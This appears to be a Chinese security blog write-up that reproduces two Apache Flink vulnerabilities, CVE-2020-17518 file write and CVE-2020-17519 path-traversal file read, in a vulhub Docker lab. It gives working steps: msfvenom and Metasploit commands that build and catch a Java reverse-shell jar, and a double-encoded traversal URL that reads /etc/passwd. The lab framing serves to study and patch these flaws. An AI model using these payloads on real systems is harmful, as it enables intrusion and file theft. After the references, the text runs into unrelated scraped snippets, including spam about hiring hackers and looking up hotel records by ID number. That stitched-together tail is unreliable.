简介
Apache Flink 是高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎(简单来说,就是跟spark类似)。Flink 具有监控 API,可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard,同时也可用于自定义监控工具,默认监听在8081端口。
本文涉及知识点实操练习: *** 安全事件(“ *** 安全事件”这门课程是由一些影响比较大的安全事件所模拟的测试环境组成。此课程不仅会添加以往的安全事件,而且还会紧跟时事,去添加最新的安全事件。让大家在之一时间了解,并懂得怎么去保护自身安全为目的。)
该监控?API 是 REST-ful API, 即接受 HTTP请求,并响应 *** ON格式的数据。
监控?API 中有一个API是 /jars/upload,其作用是将一个jar上传到集群。该jar必须作为多部分数据发送。确保“ Content-Type”标头设置为“ application / x-java-archive”,因为某些http库默认情况下不添加标头。可以通过curl上传jar文件
'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar"?http://hostname:port/jars/upload'
概述
Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致任意文件读取(CVE-2020-17519)和任意文件写入(CVE-2020-17518)漏洞。
CVE-2020-17518攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。
CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)。
影响版本
CVE-2020-17518
Apache:Apache Flink: 1.5.1 - 1.11.2
CVE-2020-17519
Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2
环境搭建
因为受到两个漏洞影响的版本都包含了1.11.2,所以统一使用这个版本进行复现
此处利用vulhub的环境进行复现,新建docker-compose.yml
version: '2'
services:
flink:
image: vulhub/flink:1.11.2
command: jobmanager
ports:
- "8081:8081"
- "6123:6123"
使用docker-compose启动该环境,执行以下命令会下载镜像并以此镜像启动一个容器,映射的端口为8081和6123
docker-compose up -d
访问http://ip:8081
漏洞复现
任意文件上传(CVE-2020-17518)复现:
Apache Flink 1.5.1引入了REST处理程序,该处理程序允许通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。
访问http://ip:8081,找到Submit New Job的Add New上传一个jar包,jar包可以在桌面新建一个压缩文件,将zip后缀修改为jar即可,然后抓包
抓到的请求包如下:
将请求包发送到repeater模块进行修改,比如我这里是在/tmp目录下新建一个文件,https://www.freebuf.com/articles/是为了方便切换路径,因为我们不知到当前的路径是什么,所以可以使用https://www.freebuf.com/articles/切换到根目录。
查看文件是否上传成功
docker ps查看容器
进入容器
docker exec -it CONTAINER ID /bin/bash
可以看到文件成功上传
flink 本身是没有鉴权的,并且它本身支持任意jar包上传并执行,所以可以通过上传jar包getshell
生成jar格式的马
lhost为kali的ip,lport为kali接收shell的端口
msfvenom -p java/shell_reverse_tcp lhost=192.168.74.142 lport=1234 -f jar >/home/a.jar
启动msf接收shell
msfconsole
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST 192.168.74.142
set LPORT 1234
exploit
将jar包上传后点击上传的包然后Submit
获取到shell
任意文件读取(CVE-2020-17519)复现:
Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。访问仅限于JobManager进程可访问的文件。
比如我这里读取/etc/下的passwd文件,%252f为/的两次url编码
http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
漏洞修复
官方已发布安全版本,请及时下载升级至安全版本。
https://flink.apache.org/zh/downloads.html
参考链接
https://github.com/vulhub/vulhub/tree/master/flink
https://www.anquanke.com/post/id/227668
作为最早推出车载人机交互系统的汽车厂商,宝马在CES时代展示了最新的iDrive人机交互指令输入系统,可以通过iDrive控制器、语音输入指令与车辆对话,还可通过触摸屏、手势识别系统控制车辆的各项功效...
我们中国人针对火锅店一直是十分喜爱的,一年四季都离不了火锅店,有些人还说火锅店是提高日常生活满足感的动能。而火锅店领域,不但只有开火锅加盟店,还能够开火锅材料商场。但是要想运营好一家火锅材料商场也是一...
黑客服找qq密码怎么找相关问题 怎么才能找到黑客帮忙追钱相关问题 学黑客技术要学什么 黑客自学软件中文版(游戏黑客软件中文)...
给孩子补充的维生素中,维生素D可以通过食物获得吗,吃什么可以补充维生素D呢,用什么补充维生素D比较好呢,友谊长存小编就来说说维生素D的补充来源吧。 为什么要使用补充剂来补充维生素D? 维生素D有三...
免费查开宾馆记录查询的方法(身份证号码查住宿记录),今日上午,紫豹科技微信公众号消息,紫豹科技风险监控平台于今天早6:30左右监测到华住旗下酒店开房记录泄露数据,内容涉及大量个人入住酒店信息,主要为姓...
股票配资简单讲就是我们向配资平台借钱炒股,配资可以增加本金,股价上涨就可以增加盈利,但如果股价下跌,我们就会成倍增加的亏损。那么,2019年股票配资合法吗?下面就给大家简单的介绍一下相关的信息吧。...